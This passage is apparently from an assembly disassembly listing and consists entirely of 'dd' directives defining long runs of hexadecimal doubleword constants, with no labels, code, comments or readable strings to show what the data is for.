		dd 43C0A864h, 0A05E7D45h, 80684B3Ch, 1818CEA0h,	7A2959E2h
		dd 3E798FBh, 0FE6BDDC3h, 84405DBh, 9D00FAA4h, 8B9584F3h
		dd 92DF8635h, 6AE13048h, 0A5A99221h, 28ED3Fh, 0CE064FFh
		dd 110301Eh, 0C79648DAh, 21E72144h, 0A22C23C4h,	0D6B83059h
		dd 97DAAB0Eh, 0CD2385BEh, 0B13B041h, 0A120E18Dh, 109D02AFh
		dd 0A627291Eh, 0A9E2F894h, 50F5C788h, 42ED887Fh, 1172351h
		dd 0C3B38406h, 89571805h, 6E84E89Ah, 9E806D3Eh,	4BC02337h
		dd 6269BC08h, 0CFE4A7FAh, 0AA6280D1h, 48B4D7A2h, 4D045C47h
		dd 804A96CAh, 52F59878h, 7384B850h, 1084B94Ch, 0F402B78Dh
		dd 0CF22A947h, 0EAE8CA0h, 4903923Bh, 415EDE03h,	0B508320Bh
		dd 2AE00121h, 0FE0AD533h, 94C0AA46h, 0C257043Ah, 0C4C86402h
		dd 91424154h, 0D80A460h, 1B49AF3Bh, 0CC6448Ch, 603B150Eh
		dd 0EF802024h, 7BEB8B4Eh, 0D4362463h, 6EFC0320h, 7812C816h
		dd 0F40C81C1h, 18D91176h, 28F93E1Ch, 431E8D47h,	6D5AF24Fh
		dd 0B934C098h, 38AB6117h, 405C24EFh, 30DE41CCh,	0D29C4554h
		dd 0B7FFB118h, 60728C8h, 84F67B0Fh, 0CE05205Bh,	0FFAAEF3Bh
		dd 4686203Ch, 0E2C4CF8h, 0C02AFA60h, 9B0DBEC1h,	99870757h
		dd 222C79F3h, 4CC853F6h, 9D2435EBh, 78083CBBh, 87403159h
		dd 884CCA27h, 2A0C1758h, 0FE48E436h, 5E05104Ch,	8E8AA26h
		dd 7B01460Eh, 7E89CA1Dh, 9441CDC5h, 0F2C0F69Eh,	0B0330BF9h
		dd 702C2E4Eh, 0CC51EC60h, 0CDD261A0h, 942C5879h, 0B0D12090h
		dd 6BA3113Ch, 424AB840h, 98D62467h, 28D721C4h, 542828FAh
		dd 0EF490720h, 40BAB060h, 3F03C4C6h, 0C2F25769h, 7A50005Bh
		dd 6EB0E623h, 0B0C1B9CAh, 176A52C0h, 5CCE9454h,	10C0F588h
		dd 8031B5h, 0D0C9BA70h,	34C00789h, 38CB1E24h, 0BFEE5684h
		dd 4A59D901h, 2508D1C7h, 0E6A09158h, 0C0DE3F04h, 0C1048375h
		dd 3469212Ch, 0D78FEB40h, 9D6200B7h, 8DECD65Eh,	3E0A2D76h
		dd 8CA31AA9h, 6A47F15h,	0EC4E1CC1h, 8FDE3180h, 345DE2B1h
		dd 0A800E424h, 6B69455Fh, 32EE7CD9h, 47866B0h, 0DE916065h
		dd 64D6410Bh, 0BCFF828h, 30916516h, 0DAA910F4h,	0E18840F6h
		dd 0AA718D66h, 7E9220E8h, 2614B148h, 0AF64CC78h, 0FD19B560h
		dd 0F8B9FE75h, 19AD0AC0h, 31710029h, 1C3DCA5Dh,	0C217492Fh
		dd 4C4666F6h, 9091F7DEh, 2AD4620h, 49963B12h, 9506723h
		dd 20801A05h, 0C029FCD7h, 459C9604h, 10C8AD2Ah,	0C7E544F6h
		dd 39AEDF35h, 330A5C02h, 424501B4h, 0C6B1810Bh,	17B0DAE2h
		dd 0C38891h, 0BF045A2h,	138F262h, 0AD9457BBh, 4562623h
		dd 57C07C9Bh, 60024D6Eh, 0F7F0E00Eh, 1AC6808Eh,	49DEC508h
		dd 9A0C0001h, 2539B223h, 0B63A2EFCh, 0ED3F0078h, 0D50E1BC7h
		dd 380786Fh, 3307B3B4h,	89ECCAC3h, 790DD48Ch, 19432601h
		dd 7866D291h, 229ABC41h, 3009062h, 522FBB96h, 0D5022070h
		dd 68B139DDh, 0DAECE1A4h, 0A09406FAh, 0F6411C09h, 8948226h
		dd 0C13A2246h, 0EF8AB882h, 0FE538E20h, 2678C314h, 9062F89Bh
		dd 0CFEA50h, 5D113CC7h,	0B00988B8h, 2069024h, 20B21E68h
		dd 0A9AA58D2h, 28820A7h, 5486C954h, 0C11741AEh,	6C475A34h
		dd 63F3BFCh, 2410DE12h,	498D75Fh, 68E147h, 9887C1FAh, 296A005Ch
		dd 3DDE25Dh, 15024513h,	8F5E56AAh, 23804096h, 209CA8CAh
		dd 0C8C90058h, 0BCD4649Dh, 724827Dh, 9A00086Bh,	0FC934E33h
		dd 25D098BBh, 0B8247E9Eh, 8F9260FEh, 9D41250Fh,	0BA01CC96h
		dd 5F6D8FAAh, 7980D622h, 68CAF827h, 0DA01CD4Ch,	0C087451Ah
		dd 2189B3DFh, 68204269h, 60E3D810h, 0F10D5F0Eh,	5205C0A3h
		dd 26A476DDh, 99872C1h,	94686BDEh, 0BF0A3DF8h, 0F64319CEh
		dd 35F05514h, 809BF8FBh, 0D8E17FC0h, 17FE8756h,	0B9E65B03h
		dd 894F27EEh, 0A99E4069h, 0D4E58033h, 8EE131EBh, 2007E8E2h
		dd 0AAA8D845h, 5B7D4091h, 3D635985h, 261C928Ah,	0FCE0A881h
		dd 27B88324h, 0F414D643h, 467CE108h, 25370A6Dh,	0C303E497h
		dd 15F22A44h, 0CCEFDF70h, 8D50900h, 61427E65h, 0D6B3BF00h
		dd 75CD9A63h, 88DA0172h, 0E2B73BC9h, 76598F45h,	0A0AF00EDh
		dd 0F2AE1975h, 6E4D01F5h, 0ADD5BDA4h, 69066BBh,	7C58F643h
		dd 0DEFE18C8h, 833579F9h, 0DDD1AB00h, 0FB46F7FAh, 56842EC7h
		dd 2F4BBCC0h, 0F32354h,	6B816F67h, 0AE053F71h, 2757407Eh
		dd 0C5F32808h, 41A48195h, 0E82848B5h, 1ADBF88h,	5EB3E78Fh
		dd 38D6C257h, 0DBC71334h, 0C6CB3821h, 20E86846h, 0B0EA9EBCh
		dd 0F4A0C898h, 924C9676h, 0E8DEE1E4h, 0AAB40915h, 3B0FBCB0h
		dd 0B499111h, 0E80BA88h, 51763B17h, 9A731D95h, 0F8B24357h
		dd 78A2C256h, 164590C4h, 80AB6091h, 49903B0Ch, 0B3448C13h
		dd 3B14020Fh, 933DDB1Ah, 2805DC58h, 0E2CAA992h,	6CE17891h
		dd 6F230824h, 0C7C139C5h, 70FF3402h, 43887A0Ch,	81C67435h
		dd 50BB3017h, 0FE133C94h, 4FC848CBh, 4DE23BC0h,	0B0DC09EEh
		dd 98E4234Eh, 2210943Eh, 0D1689987h, 0EA6E18B0h, 0CC4C015Fh
		dd 0DFFD4683h, 0CADC2181h, 94134520h, 118A60E2h, 429757BCh
		dd 795FDE30h, 76C4B24h,	10BAA969h, 1B199C0Eh, 6BC72A01h
		dd 0E26EB098h, 40800065h, 0CB197EBDh, 2892FECAh, 0BF68A860h
		dd 9EBEA0B0h, 3CB612E8h, 0C988BC24h, 45EA24DAh,	0F1575100h
		dd 4C386866h, 458BC114h, 48A3FD4Ah, 4CC102D8h, 0C920F3DEh
		dd 8044610Fh, 0E124FA5Bh, 0D029EC24h, 0CA18EDD1h, 73C18514h
		dd 683B1480h, 0E9361038h, 40A0484Eh, 80FDDE88h,	0F91A0D05h
		dd 1F71A07Bh
		dd 48DD300Fh, 48238ACAh, 8E96FC11h, 1F32314h, 0BF150DB5h
		dd 0A186F0BEh, 824EFE04h, 94E09FCBh, 0C26D1464h, 1C5D08C1h
		dd 0F1024BB8h, 0DF6B9749h, 0FDD9C365h, 0C1AB5C02h, 0C6446067h
		dd 6C69EBC8h, 0C1213137h, 0A69C090Eh, 0CE449018h, 62614E4Fh
		dd 69B51535h, 2A6E08FCh, 0F41E42A9h, 3088B304h,	58138BF9h
		dd 7890509Dh, 884EA112h, 0C1C05B69h, 4B10708Bh,	71B73C1h
		dd 7E8D6077h, 6494306Bh, 0B4016289h, 0FB5DAFCEh, 4183D423h
		dd 0D53FD101h, 0E1885097h, 0D0A10843h, 3C163BC1h, 0C1912023h
		dd 109858A6h, 343A9962h, 15D1525h, 46E127D4h, 2668F180h
		dd 75669BC2h, 0DB79EF00h, 0BAAFB015h, 4ED21949h, 3DE2487Ah
		dd 2CA00E4h, 97B51083h,	713E6B7h, 0DCCB189Eh, 0D26E60BAh
		dd 8200D6A8h, 1726E195h, 0A44F78EEh, 1CAF4D88h,	943B1080h
		dd 448C3349h, 180703BDh, 0DCC8BB3Bh, 4A608550h,	17CD025Ch
		dd 0C2DA56FEh, 0B050C45Ah, 4B5774E0h, 5E007EB4h, 31BDCC11h
		dd 12FCBF8Bh, 0E95E56Bh, 3F807F7Bh, 0B0691FF5h,	59117E12h
		dd 0BE239C06h, 0FB480081h, 0AEBFD498h, 1700414Fh, 2D2AB940h
		dd 0F467E9DAh, 323324F2h, 45F40128h, 0A4FB1D42h, 3E092C78h
		dd 6CA4C8C3h, 4914ADEh,	0EB95A50h, 46FCC135h, 1441BDCAh
		dd 0B107F1C1h, 9AF5255h, 30AC9042h, 0FEFC19B0h,	0E82C8F5Ah
		dd 20A86009h, 4150278Ah, 35D18603h, 0E0432BEDh,	4956C466h
		dd 5A09C082h, 6CEE7ED5h, 0C6FCF140h, 5848790Ah,	6ACA4909h
		dd 0D684A157h, 5B00EAFBh, 924FAC94h, 0FB3B072h,	0CE12054h
		dd 90F318E5h, 8141444Ch, 201AED00h, 0AD882DAFh,	0A9E900D6h
		dd 10E1BB9Bh, 4D12639Ah, 0C400DBE6h, 6683CF0h, 0C1991335h
		dd 23283A81h, 11D7004Dh, 1A6C488Fh, 15638504h, 8B6C5BAh
		dd 0F5E8D048h, 30F8008Ch, 0E0F93586h, 0A52E6AD6h, 0B50200CBh
		dd 70F4BA59h, 5B7C2DC8h, 96439425h, 109410EEh, 646CC5E9h
		dd 88D160ECh, 0BF840308h, 4A69719Ch, 9F9BF900h,	7D465C1Eh
		dd 20C8B819h, 0D765D52h, 80A14426h, 70089CAEh, 0CAF08165h
		dd 300FC825h, 2CB0C194h, 15429881h, 0C88E6C05h,	0BA22AC8Fh
		dd 12F0CB02h, 643C44C6h, 0EE41134Ch, 0E0CC40CCh, 69BA2AFCh
		dd 0C6B15560h, 5E1C8F28h, 6608089Bh, 490070BEh,	0AAB67B11h
		dd 6156C2CFh, 0E17C85Ch, 69147468h, 0A7495460h,	805B39h
		dd 0E161C513h, 4E3CDAFFh, 0AA456C01h, 2D871E3Ah, 0C819BC42h
		dd 98B91118h, 6DC22588h, 4FC35824h, 0E1728957h,	44ED9994h
		dd 40131C62h, 0BCD4D041h, 0D12E3D19h, 8C2F251Dh, 95CE411Ch
		dd 271D9437h, 5EBDF940h, 9040D9A1h, 0B10569C0h,	0F9185CC0h
		dd 92FCDE80h, 16E00008h, 60282A03h, 83F12BEh, 10545C83h
		dd 0F1D5129h, 314381A7h, 60F95DFEh, 909616D0h, 0B284416Fh
		dd 0E0DC3h, 0F884F19Bh,	0BC4A203h, 0B071067Bh, 28A5820Bh
		dd 6874194Bh, 1DB44203h, 0CCF84D22h, 44B8A7E4h,	0F14260F6h
		dd 0B6070FCh, 48B3E5F7h, 45284402h, 0C45F5903h,	381CE895h
		dd 645A7F10h, 51A00A58h, 4D2A8154h, 325BCCAh, 3AF1FEE2h
		dd 0E3017BAEh, 1695B29Bh, 9582392h, 18C62AFDh, 497D7E54h
		dd 0BC028C0Ah, 0A95DD91Bh, 69F2BC40h, 41415891h, 3D4DBA6h
		dd 63C0CF07h, 0C8848E96h, 70D5C0B9h, 0C9285680h, 0D32CF6FCh
		dd 0CC214862h, 0F6358B03h, 0B0C0DADCh, 126FDBD8h, 83D8BE67h
		dd 190537B0h, 0C02234C1h, 6C811864h, 41301A90h,	0F8224DDAh
		dd 985FE115h, 27772B04h, 48C8826Ch, 58852D20h, 0E8290FEDh
		dd 96068F2h, 46FE5B34h,	84AB0A2Ch, 0C6C1580h, 2A9EC07Fh
		dd 0BA49275h, 10981345h, 25B3484h, 0D2C7FDCBh, 88C54B70h
		dd 61E2CA54h, 20DE4380h, 349063B8h, 8A222B08h, 0C3CB094Ah
		dd 0C64240C4h, 0B2F174Ch, 0C7C9A481h, 4B07CDCh,	7D86C29Fh
		dd 53A510B4h, 0C6E2D4D0h, 17431830h, 9C0ACECh, 2CA26272h
		dd 38712917h, 5C18C779h, 0B8B53Ah, 16ECB106h, 2D2524BBh
		dd 5802C1BAh, 0C8444845h, 3574017h, 1069E0C2h, 94A4615Ch
		dd 62C02430h, 986691E6h, 3B7D251Ch, 0DB9238A7h,	1BBB18E8h
		dd 0BF380501h, 0C24D76CEh, 2DA052EEh, 0BC20A1B2h, 716D480Fh
		dd 11C09E48h, 0CF165B82h, 4EF89CC9h, 2A875780h,	90EC1253h
		dd 0F5D630B8h, 9376C250h, 35902560h, 0B6B20C7Fh, 0A6DE43Ch
		dd 86702052h, 0C10C8C2Ch, 0B1A5561Ch, 1481E613h, 88AAE7FDh
		dd 8FDA3C00h, 0A474A766h, 222A33F0h, 9A0EC0B1h,	0C7B032C0h
		dd 0E49028D7h, 2D8FBC7h, 866DE991h, 84E014ACh, 0B0A04AE0h
		dd 413A4457h, 0AA040358h, 8170EC3h, 0DDAE7520h,	7C400761h
		dd 1B0B2C63h, 0D805542Bh, 3D14F172h, 11A236Ch, 0C3B684FDh
		dd 886C18EDh, 840EF59Fh, 22460680h, 82CA824Dh, 82EE08BCh
		dd 592DF4h, 0FB8634C3h,	5B706182h, 1E000415h, 181709A0h
		dd 3C32D0F8h, 5503EF85h, 160C9A5Dh, 69AE5058h, 11309D60h
		dd 9E0C8056h, 179D455h,	4EC919B4h, 2C161CC0h, 0EBDE12CCh
		dd 7400E05Dh, 7DB5F14Fh, 0F5E40023h, 6315A6C9h,	0AF025CBFh
		dd 461D79ABh, 409C92F1h, 0A2C73E6Ch, 0F2108608h, 625F7811h
		dd 23AA5852h, 5D002C64h, 880BA3D1h, 4CAF45BDh, 0B21894FFh
		dd 0E2F0E09Ch, 749A5C16h, 203A7409h, 0BCEE43ACh, 88009E56h
		dd 410230CCh, 5E4EE0F6h, 1F6D44C4h, 6730C604h, 9A18E8ADh
		dd 574F495Fh, 0A4F20728h, 4021546h, 0F5C3AD84h,	98105131h
		dd 0E0084FCh, 29EEAB34h, 13B349ACh, 42E8F67Ch, 0D6CA8378h
		dd 0FA452470h, 8CF5C830h, 128F9704h, 8F2A541h, 8FAFBDC0h
		dd 0A013A5Ch, 0C44526B0h, 402FDEC1h, 142EE0E0h,	874FF65h
		dd 0FA051703h, 0E864740Eh, 254D550Fh, 64457867h, 0D991CC1Ah
		dd 18F27998h, 0D568001Bh, 0DB99E6C5h, 9412B187h, 4C914A77h
		dd 31824CC4h, 7B69B64Dh, 0FE411074h, 0A1C672F8h, 24D9C7B4h
		dd 3AD4123Ah, 0BD23F8h,	8DA37CF4h, 61172B7Dh, 0F51CE575h
		dd 0CA27083h, 3E35D0FAh, 12AC99EFh, 0E2BCF2BFh,	9909306Fh
		dd 13F0CB09h, 0EC34C4C6h, 2E00838h, 0B328FF72h,	0C8B62625h
		dd 9B7A40A8h, 129D0434h, 0ECACB8D8h, 0E1404739h, 950B4039h
		dd 3D0BBC4Ch, 0C1013E2Fh, 40875253h, 340397Fh, 6F257ACh
		dd 3BD8776Ch, 0FBA51CC3h, 86F01844h, 6C4D540h, 0CACB3413h
		dd 0E24E618Dh, 0A12C6C90h, 108B392Bh, 85D08C8Ch, 873802C0h
		dd 22449638h, 7234D6h, 3F789D3Ch, 552EB896h, 6E334Ch, 598E912Ah
		dd 121DAC39h, 0CCC5D245h, 43132720h, 1C43250Eh,	0F3E12666h
		dd 48E95C1h, 3DC057C8h,	76E01E54h, 0DCE703AAh, 6A690305h
		dd 7EFE7117h, 6FF5CC20h, 0AF851CADh, 0A861A74Fh, 0D0401356h
		dd 12F8CB33h, 47BA220Ch, 0EADAD794h, 0F5E181ACh, 0F010B050h
		dd 0DF52F645h, 1CC204B0h, 8E53E812h, 0FE7CC858h, 2F57C42h
		dd 0B68D3610h, 0ECD15459h, 49717518h, 26011602h, 61C7EEAFh
		dd 0C880E1C4h, 7CAE1344h, 0D416692Bh, 94CE5AF5h, 0F8C04E88h
		dd 2EF1CE4h, 0D64115B1h, 24C46094h, 3C4C332Ch, 0EED1A029h
		dd 98017018h, 42C8FCF5h, 547471DEh, 792900FFh, 0B2EF8402h
		dd 0F89CD123h, 0C490FD97h, 1688DB98h, 9022032Fh, 0AB9728B8h
		dd 42372900h, 11A8936Ah, 2F20696h, 0B08C7476h, 1D4E1B2Fh
		dd 80EC914Ch, 0BC8DA513h, 6198120Fh, 0E6542069h, 9200FEA7h
		dd 1A9FEA44h, 0C0AA6096h, 208ECB16h, 7CB8BBD9h,	0A1E9AE20h
		dd 88722980h
		dd 0F2423C08h, 0C7029624h, 0EBF6D644h, 7E0E8884h, 0BC0896AEh
		dd 0B168EE93h, 0F8984188h, 0F95FDC45h, 2F462980h, 8BE35010h
		dd 79190269h, 0F6AC80D8h, 3DE15215h, 0C2BF0B8Fh, 66A5884h
		dd 4881BE9Ch, 0B42E6C29h, 0DE388638h, 30091A4h,	0B9E5735Fh
		dd 240E10A3h, 42146275h, 445A704Ch, 7C975B1Dh, 0DE0C809Fh
		dd 5871847h, 0A769E1A2h, 0A468C71Ch, 2688B46Ah,	2686C5Dh
		dd 9AD64697h, 5D1449ADh, 1882ACF1h, 47D5197Eh, 5F014890h
		dd 43BD7208h, 57FD088Ch, 0B7D02173h, 5E5F0A60h,	0C7222B3Ch
		dd 0D2644F20h, 904542B4h, 54CC50C2h, 0B6FA5409h, 987605D8h
		dd 1DFC0464h, 0CE68D0CFh, 0CCECB488h, 2A4208B4h, 0DE3F017Dh
		dd 25A02C04h, 614C64CEh, 0D643099Ch, 15344C0Eh,	7403704Eh
		dd 9956EB0h, 6A451C71h,	300AFCA7h, 65EA52EDh, 2153409h
		dd 2F3852EFh, 1C18A6F0h, 0C896CCA0h, 98C4A00h, 0B83AC218h
		dd 43C36C3h, 508CC169h,	0AB588C8Ch, 74385024h, 2D3591CEh
		dd 0C18A913h, 52EB4A86h, 9EF88CA0h, 1A7527h, 0C972DB04h
		dd 256C77C7h, 24904740h, 0CB401A1Ch, 74909D27h,	0D374A990h
		dd 38617406h, 9776EFC1h, 7EFC4002h, 584A2AC3h, 64BC94C1h
		dd 25F91070h, 54E160F7h, 59F060FEh, 0D1B4588h, 95359F81h
		dd 32DFF1F9h, 0F1FB0050h, 0C21AE572h, 22A4E44h,	78570E00h
		dd 0BE0B8EF6h, 40881249h, 0EA2F068h, 0B0F674A0h, 401EF875h
		dd 8171F57Eh, 4C6B6E4h,	0EC6E68C3h, 1C845B0Bh, 0EFA341A9h
		dd 408264ECh, 34B7F24Eh, 44454D6h, 0A406FE49h, 232440AAh
		dd 0A99F442Dh, 0A8E18AD2h, 532C202Eh, 0A55C3FE5h, 0ABF70307h
		dd 0F01040C9h, 30D466CDh, 0BC2969E3h, 13E43F31h, 0B20D971Fh
		dd 0FC533C80h, 2A1D38h,	525D902Eh, 0E6DBF398h, 9F17AD78h
		dd 7420E38Ch, 4CA654D9h, 4800B017h, 342B78D4h, 3F17124Fh
		dd 0B0AC2DDh, 0C044B45Ah, 0E8AC640h, 7C00166Dh,	0A0BB2591h
		dd 0C067AF14h, 0CB70D3Ah, 3A0074FFh, 0C70789C0h, 147CC375h
		dd 0DCC4C59Eh, 5D3F439Dh, 401C6E0h, 63E3FD6Fh, 3C248A1Dh
		dd 0D00C5CC4h, 0D84CED71h, 0E11209E8h, 3C10C15Eh, 0DE81FE1Eh
		dd 78281421h, 188CE8ECh, 8C049C10h, 7D02C908h, 0CA7E87FCh
		dd 17BFE388h, 25B3571h,	0EF40D87Ch, 4B001C54h, 0FC8F1ACBh
		dd 1F30D6B7h, 970922DCh, 2166A241h, 19D8436Ch, 78048055h
		dd 410A65DCh, 9CFD940Ch, 0F2A7183Dh, 57A8B5E3h,	9D31B514h
		dd 0FF46F0A4h, 0F298F414h, 81D39000h, 93BA440Bh, 6F0D00A6h
		dd 0EEDE46DCh, 5C06A361h, 6866C257h, 0C0AA0350h, 8E172B97h
		dd 0E25AA905h, 5C12DEFEh, 46141C09h, 84070440h,	0F2FDC3ACh
		dd 0FF99C044h, 7FC11F84h, 426E6B37h, 7C871C73h,	0CB87E55h
		dd 2679D7F3h, 0AE2F4B00h, 0DB9E4A16h, 53420052h, 79CA72BEh
		dd 0F9000E0Fh, 0DD415ACFh, 9295E3h, 66DBE547h, 0F087B25Fh
		dd 1DFC3A07h, 8C6A1A45h, 2B41F024h, 70405E47h, 0B8FF8B4Fh
		dd 0EF7A2008h, 0DC71600h, 19431064h, 5412B549h,	767C8476h
		dd 0AE218472h, 5E8A08A8h, 820875Ch, 0DEC75429h,	1880D0CAh
		dd 7D73BC48h, 274E1D42h, 9441C19Ah, 0C5CAEC8Dh,	992983FBh
		dd 0E0EEE133h, 0C27B8623h, 0F90869B0h, 0E8BD4B05h, 9173A006h
		dd 47531177h, 0E69FF004h, 0CA9D0024h, 0A4675ED2h, 60023EAEh
		dd 6535EBBCh, 0CE0C80BBh, 1DBF6617h, 489D34E1h,	0D20724AEh
		dd 3FF9B26h, 0E3BF623Bh, 0E0BCE334h, 77C89938h,	79E7CE5h
		dd 0A5662AD0h, 0C98440DEh, 610338AEh, 8E67F6CEh, 982807A2h
		dd 9023EAA5h, 9F21E9CDh, 8020FAA1h, 0DA61DF40h,	3A26F6AEh
		dd 2E80A160h, 7DA8CF67h, 0CD7740C5h, 507ADA3Eh,	8A639F04h
		dd 0E08B3480h, 3A41B0Fh, 0DA04B786h, 791EE8A5h,	713334E9h
		dd 74D3E39Eh, 0CAE1C518h, 660841D9h, 0F025DEA3h, 2B28DCBBh
		dd 80D838A1h, 4E5AC88h,	0EBA38B35h, 679D0021h, 30D4C9DDh
		dd 24E8BB42h, 8608363h,	6AAE7738h, 440CA9Eh, 5CEF00A0h
		dd 67F2AF87h, 0A57AD500h, 0FE47FC2Bh, 33B9F235h, 72E10109h
		dd 80E27FA1h, 20DCAA78h, 43F5859Bh, 1BE201Bh, 3BE9B2BDh
		dd 0AAE8481h, 0A3920A07h, 0FFAD07D2h, 17F2C191h, 0E4F7A461h
		dd 0E0023F2Dh, 10B6582Ah, 4982F962h, 206E2E83h,	0B7D41838h
		dd 0CC34A281h, 3E5A72DAh, 454AF946h, 0B9A36060h, 0AB1E0870h
		dd 4C942C9Ch, 0B0840C48h, 84327BE0h, 10BBA225h,	0B761A0D0h
		dd 1688D825h, 60D8962Ch, 5B504650h, 0FB96F6h, 4AE8EE17h
		dd 64602350h, 9A587164h, 602CD625h, 0DDE70710h,	7C419558h
		dd 4A5EC860h, 0AA1823F7h, 3658D164h, 66CCBD24h,	94D12F60h
		dd 59DD1868h, 6214DA5Bh, 0E294B655h, 9A231C12h,	0E8C51FAh
		dd 9659A223h, 52D1210Eh, 388C0C32h, 5559DE18h, 39F4486Ch
		dd 0C4FCDC90h, 412C1EEh, 44DE5AF8h, 8CF9DFC7h, 2ADA5709h
		dd 794CDCD0h, 10845F66h, 0C2857CFCh, 0C194E46Eh, 287BFF30h
		dd 52F840Eh, 0C2DA4970h, 0C8348847h, 0AE404254h, 3CC101E9h
		dd 0C400C5DDh, 24BE8534h, 0AC84DE0Ah, 24D22ABCh, 0FCFE1801h
		dd 0BE44C3F4h, 76829857h, 407042h, 431B8ED9h, 2ECA4958h
		dd 0D61448B9h, 844F0540h, 4485C1B3h, 44620434h,	158C1195h
		dd 42C5DC29h, 788209D2h, 42B928Ah, 875063E4h, 4417D35h
		dd 5F642A04h, 210C8D15h, 0C8759032h, 54856402h,	1250231Ch
		dd 744860B8h, 8582A260h, 8C204E5Ch, 649C6B85h, 8A1A409Ah
		dd 286221D0h, 0B8E2559Ch, 2010BEE3h, 430B6316h,	354F771Ah
		dd 41E1099Ch, 57BA40C0h, 7EDE130Ah, 12071076h, 74C62679h
		dd 85E112E0h, 0A93400FFh, 275B3410h, 0D6189919h, 4C284C48h
		dd 0C328B932h, 19FDD00Eh, 1838AC50h, 0FC21AF18h, 9F18244Eh
		dd 63DB030Ch, 184B0A47h, 63E25488h, 83DB4153h, 180CEAC3h
		dd 391C4D6Ch, 0DE403745h, 12DA5051h, 320065CBh,	3B26EE04h
		dd 1CC3E0A9h, 85CF7D03h, 0A442443Ah, 0AB2F178Ch, 57D422F1h
		dd 18044CAh, 8CD45178h,	8053DFC0h, 0F0734E0h, 0DC235B2h
		dd 8B223B6Bh, 8F004019h, 490D67Eh, 0FAB6220h, 8646CBAAh
		dd 7B0F5880h, 0F0B8BA19h, 83A29539h, 0B3F9C398h, 45083A99h
		dd 24ABC97h, 87D45926h,	5CC82A61h, 3498384Ch, 5D170F0Ah
		dd 0EC44E0A2h, 48AA1446h, 38647BE4h, 6F0833F0h,	48B4EC93h
		dd 0D4DE4843h, 0FC4F4080h, 0CA4BCB11h, 38B0B880h, 9EEC27DEh
		dd 0B575898h, 0CFE842F6h, 0F803FB4Bh, 0EEC1D141h, 184F7821h
		dd 717D6951h, 0A6247E88h, 84A4D8A9h, 0B0079283h, 0DE8FE8FFh
		dd 9B71C754h, 0CD829DAh, 7279044h, 0D08F48E6h, 0A80B84F7h
		dd 0DF26C018h, 13B4589h, 3C968F87h, 4795D6FFh, 1480289Ch
		dd 4544017Dh, 7C90A8AAh, 9210C824h, 0A70010A8h,	0C1A89B57h
		dd 11CB7FE7h, 946691Ah,	82747A1Dh, 484B7DA4h, 0AB049474h
		dd 0A81690BCh, 748E1689h, 2A60C833h, 7FE632F0h,	0F534C600h
		dd 0C0CF0907h, 24940489h, 82BED782h, 5720692Ch,	7493B184h
		dd 0F19B0007h, 0CCCDF820h, 0E12A461Eh, 0E600C06Bh, 19DD849Fh
		dd 265DBC71h, 11F07C40h, 1C80245Ah, 5962DF8Ch, 0C388A3D7h
		dd 0E111007Ah, 79C69984h, 0AB98FE1Fh, 24D49E53h, 2AA7A8A1h
		dd 0C0C760C0h, 9021A536h, 982B7E64h, 56C22884h,	99C30D0Ch
		dd 2191D4DEh, 68202B90h, 5FD207h, 0D1B9B4B3h, 899FCA48h
		dd 148CACB8h, 2838D658h, 7E11305Fh, 0EA7C9EDAh,	44B8B2A7h
		dd 0C100A478h, 0C7432775h
		dd 28DFCD6h, 3DF52646h,	7059299Eh, 2F5CFA0Fh, 14E49h, 4C440F6Ch
		dd 130491B6h, 286810ACh, 5C21CABCh, 0A919D0B6h,	8C318390h
		dd 46BD597Ch, 0E344203Eh, 68B067D7h, 0FEFD44h, 0C45495D2h
		dd 0C3848112h, 881C8348h, 93AC6064h, 41EE0DF8h,	4D2988BAh
		dd 0DA0B9895h, 55F090F0h, 8E0CA190h, 20869D0Ch,	273FFD76h
		dd 0A840CEC7h, 195BF0EEh, 2F417CFEh, 14C2780Dh,	237CD45Ch
		dd 43F0C243h, 0BCC085C2h, 99B757h, 7CFF9CF3h, 27A94E19h
		dd 561CD809h, 1140F9CBh, 488B5A9Ch, 4EC0C7C8h, 71C1AC1h
		dd 4D417610h, 1B537BBh,	34C9692Ch, 794B40B4h, 0E0BA80D0h
		dd 6EF3AEDh, 0EE38EC0Bh, 22304C02h, 5F00F464h, 62DE8BD0h
		dd 0F1F0F50h, 8856AF11h, 0EEC0A806h, 29F329C1h,	5CC01A79h
		dd 53BC13B1h, 4481288h,	0B85882E0h, 8CECEC88h, 49D80E02h
		dd 62FA357Ch, 741457CEh, 0C7AFC44h, 0EADEB502h,	0C10B9871h
		dd 0F0179C97h, 64F49C0Ch, 0C370C1F8h, 342C2BD5h, 84F0009Ch
		dd 0CF44784Eh, 39E4FB92h, 413E98ECh, 4B88008Dh,	0DAD6453Dh
		dd 5A5CB86Eh, 6004069h,	0FC1990A4h, 0D45230F3h,	5C91D9E6h
		dd 9A15FE00h, 0C576CBBBh, 830F0408h, 52881890h,	359FF7E8h
		dd 0EC9A80A0h, 0DDB2DB74h, 0C218ED02h, 0F19E14A3h, 0D097AF20h
		dd 13805391h, 6913FCDh,	2901C371h, 0DB98168Fh, 92FC767Bh
		dd 25F817CBh, 0C13898BDh, 3FFC7200h, 0D62870DAh, 82B307B1h
		dd 54CE21FAh, 0C8048B9Dh, 0B8CFC0F6h, 860FB0ABh, 4BBD615Dh
		dd 57B4629Fh, 0EC89483Dh, 3ACC00B4h, 641D7B1Fh,	60AD48C2h
		dd 25FB19B7h, 646597FEh, 19AF0880h, 3BEB84B1h, 0C09344DFh
		dd 41C0A4DCh, 688DBD07h, 1AA41403h, 0D93AA8C2h,	80FF11E0h
		dd 410C8F91h, 10169D95h, 8FA9BB03h, 92C96FFAh, 2C8B00F5h
		dd 0CB442115h, 819A00FCh, 6F36940Dh, 0DA0475B8h, 74CD2C1h
		dd 115F4880h, 1CC70B99h, 84E9848Bh, 0AC7848A8h,	0FE041909h
		dd 30C1CAFh, 5919A405h,	72A8C7DFh, 801D0BBDh, 0F257F933h
		dd 0A187420h, 0F1791D32h, 52BCBDB0h, 57340BCAh,	0CB0110C6h
		dd 585BBBF9h, 11F142BFh, 53C44F10h, 95F494A8h, 34879F12h
		dd 6D23E43Ah, 7027EC00h, 3CA64C24h, 0AA83D6C9h,	0BBAC0DFFh
		dd 0CAB72ED8h, 3BFCA904h, 0E8B876DFh, 4B42CBF8h, 8864AE10h
		dd 20875E84h, 0C9E5E308h, 0C679B0F1h, 9F071518h, 0E3C3BA3Ah
		dd 16435D0h, 440A2CC7h,	177B0380h, 21E2FC2Dh, 0F761DC90h
		dd 0C4D78A00h, 63425710h, 92DE003Eh, 36468041h,	790D4438h
		dd 3029EA19h, 26007C23h, 0D5B16898h, 8758886Ah,	0BD3A0108h
		dd 0C68D7CA5h, 756251E0h, 3DE100E8h, 0DABBC277h, 7A02B487h
